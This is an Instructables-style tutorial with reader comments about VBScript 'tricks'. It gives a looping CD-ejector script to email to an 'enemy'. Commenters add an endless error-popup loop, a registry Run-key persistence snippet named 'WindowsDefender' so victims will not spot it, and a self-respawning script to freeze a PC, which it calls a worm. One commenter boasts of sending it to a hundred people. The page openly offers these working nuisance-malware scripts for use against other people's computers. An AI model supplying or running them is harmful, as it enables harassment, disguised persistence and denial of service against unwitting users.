loading
visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions

Step 1: continous disk opener

this will be a continuous disk opener, open notepad and write:
do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha
any script to copy the file to the start up folder automatically?
lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb
 it stops when you restart :)
Or kill the <strong>wscript</strong> process, using Task Manager or a shortcut to <strong>taskkill.exe</strong>.<br>
You could just type <br /> <br /> do<br /> lol=msgbox(&quot;Critical Error&quot;,16,&quot;ERROR&quot;)<br /> loop<br /> <br /> for a continuous error message <br />
Dim moo1<br /> Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br /> moo1=Wscript.ScriptFullName<br /> <br /> 'WshShell. RegWrite&quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender&quot;, moo1, &quot;REG_SZ&quot;<br /> ---------------<br /> <br /> adds it to the registry for start up<br />
Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.<br />
Dim moo1<br /> Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br /> moo1=Wscript.ScriptFullName<br /> <br /> WshShell. RegWrite&quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender&quot;, moo1, &quot;REG_SZ&quot;<br /> ----------------------------------<br /> <br /> the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry<br />
How to froze pc:<br /> <br /> Set x = CreateObject(Wscript.Shell)<br /> x.Run C:\WINDOWS\forzing.vbs<br /> For i = 1 To 3<br /> i = 2<br /> Next<br /> <br /> Just save it to C:\WINDOWS and name it 'forzing.vbs'<br /> It is a vbs worm!&nbsp;
lol i had to hold dowwn the power button to make it stop<br />
I ran the script on my own PC. I couldn't stop laughing :)
Oy, you kin make something more useful, like a web browser, or a autoloading virus thingy. This is a BIT simple, but nice job.
will this work:<br/><br/>sub pwn()<br/>lol = msgbox (&quot;Critical error!&quot; ,16, &quot;ERROR&quot;)<br/> pwn()<br/>end sub<br/>pwn()<br/>
add "Do" to the top and "Loop" to the bottom, it will keep repeating until you shut down your computer or go to task manager - processes - and end proccess "wscript.exe"
your right meeze it is a copy! duh it is
this is so plagerised
Wonder where you got that code from... Hmm look at my instructable<a rel="nofollow" href="http://www.instructables.com/id/%7bUpdated%7dHow-to-make-the-cd-drive-of-any-computer-/">here</a><br/>
cool i liked that picture where is said ERROR
?? that's ok
this is fucking awsome, i must have sent this to one hundred poeple now thanks, i love being an uber elite hacker and this has helped in my wolrd dowmination plan
this is fucking awsome, i must have sent this to one hundred poeple now thanks, i love being an uber elite hacker and this has helped in my wolrd dowmination plan

About This Instructable

6,941 views

11 favorites

License:

More by thefirstgaruga: visual basic scripting tricks (2) how to do batch how to beat the matrix
Add instructable to: